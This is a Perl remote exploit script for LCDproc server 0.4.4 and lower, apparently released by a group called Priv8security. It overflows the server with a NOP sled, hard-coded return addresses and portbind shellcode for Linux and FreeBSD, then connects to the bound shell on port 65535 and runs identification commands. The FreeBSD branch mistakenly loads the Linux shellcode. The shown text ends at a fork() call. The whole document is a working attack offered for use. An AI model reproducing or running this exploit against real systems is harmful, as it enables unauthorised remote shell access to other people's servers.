use IO::Socket;
use Getopt::Std; getopts('h:p:t:o:', \%args);

if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 13666;}
if (defined($args{'t'})) { $system = $args{'t'}; }
if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}

print "\n-=[ Priv8security.com LCDproc Server 0.4.4 and lower remote
exploit ]=-\n\n";
if(!defined($host)){
print "Usage:
-h <host>
-p port <default 13666>
-t target:
0 - linux
1 - freebsd
-o <offset>\n\n";
exit(1);
}

#Priv8 portbind shellcode by Ramon de Carvalho
$shellinux =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a".
"\x02\x89\xe1\xb0\x66\xcd\x80\xff".
"\x49\x02\x6a\x10\x51\x50\x89\xe1".
"\x43\xb0\x66\xcd\x80\x89\x41\x04".
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0".
"\x66\xcd\x80\x59\x93\xb0\x3f\xcd".
"\x80\x49\x79\xf9\x68\x2f\x2f\x73".
"\x68\x68\x2f\x62\x69\x6e\x89\xe3".
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
#Priv8 portbind shellcode by Ramon de Carvalho
$shellfree =
"\x31\xc0\x50\x6a\x01\x6a\x02\x89".
"\xe7\x50\xb0\x61\xcd\x80\xff\x4f".
"\x02\x6a\x10\x57\x50\x50\xb0\x68".
"\xcd\x80\x89\x47\xf4\xb0\x6a\xcd".
"\x80\xb0\x1e\xcd\x80\x50\x50\xb0".
"\x5a\xcd\x80\xff\x4f\xec\x79\xf7".
"\x50\x68\x2f\x2f\x73\x68\x68\x2f".
"\x62\x69\x6e\x89\xe3\x50\x54\x53".
"\x50\xb0\x3b\xcd\x80";

if($system == 1 ){#freebsd buffer
$ret = 0xbfbfde58 - $offset;
$retb = $ret - 0x0808b1e6;
$shellcode = $shellinux;
}
if($system == 0){#linux buffer
$ret = 0xbfffd904 - $offset; #for ver 0.4.3
$retb = $ret - 0x0807057e;
$shellcode = $shellinux;
}

$new_ret = pack('l', ($retb));
$buffer = "priv8_func ";
$buffer .= "\x90" x (3000 - length($shellcode));
$buffer .= $shellcode;
$buffer .= (" \xe8" . $new_ret) x 264;

$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerHost=>$host,PeerPort=>$port,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] Cant connect\n";

print "Connected!\n";
print "[+] Using address: 0x", sprintf('%lx',($ret)), "\n";
print STDERR "[+] Checking version...";
print $sock "hello";
$sock->recv($awser,25);
$ver = substr($awser,16,5);
print STDERR " $ver\n";
print STDERR "[+] Sending stuff... ";
sleep(2);
print $sock "$buffer\n";
print STDERR "Done!\n";
print "[+] Do we got a shell?\n";

sleep(3);

$sc = IO::Socket::INET->new(Proto=>"tcp",
PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] No luck, try other offset.\n";

print "[+] Enjoy your stay on this server =)\n";

$sc->autoflush(1);

print $sc "echo;echo \"****** Welcome to '`hostname`' ******\"\n";
print $sc "echo;uname -a;id;echo\n";

die "cant fork: $!" unless defined($pid = fork());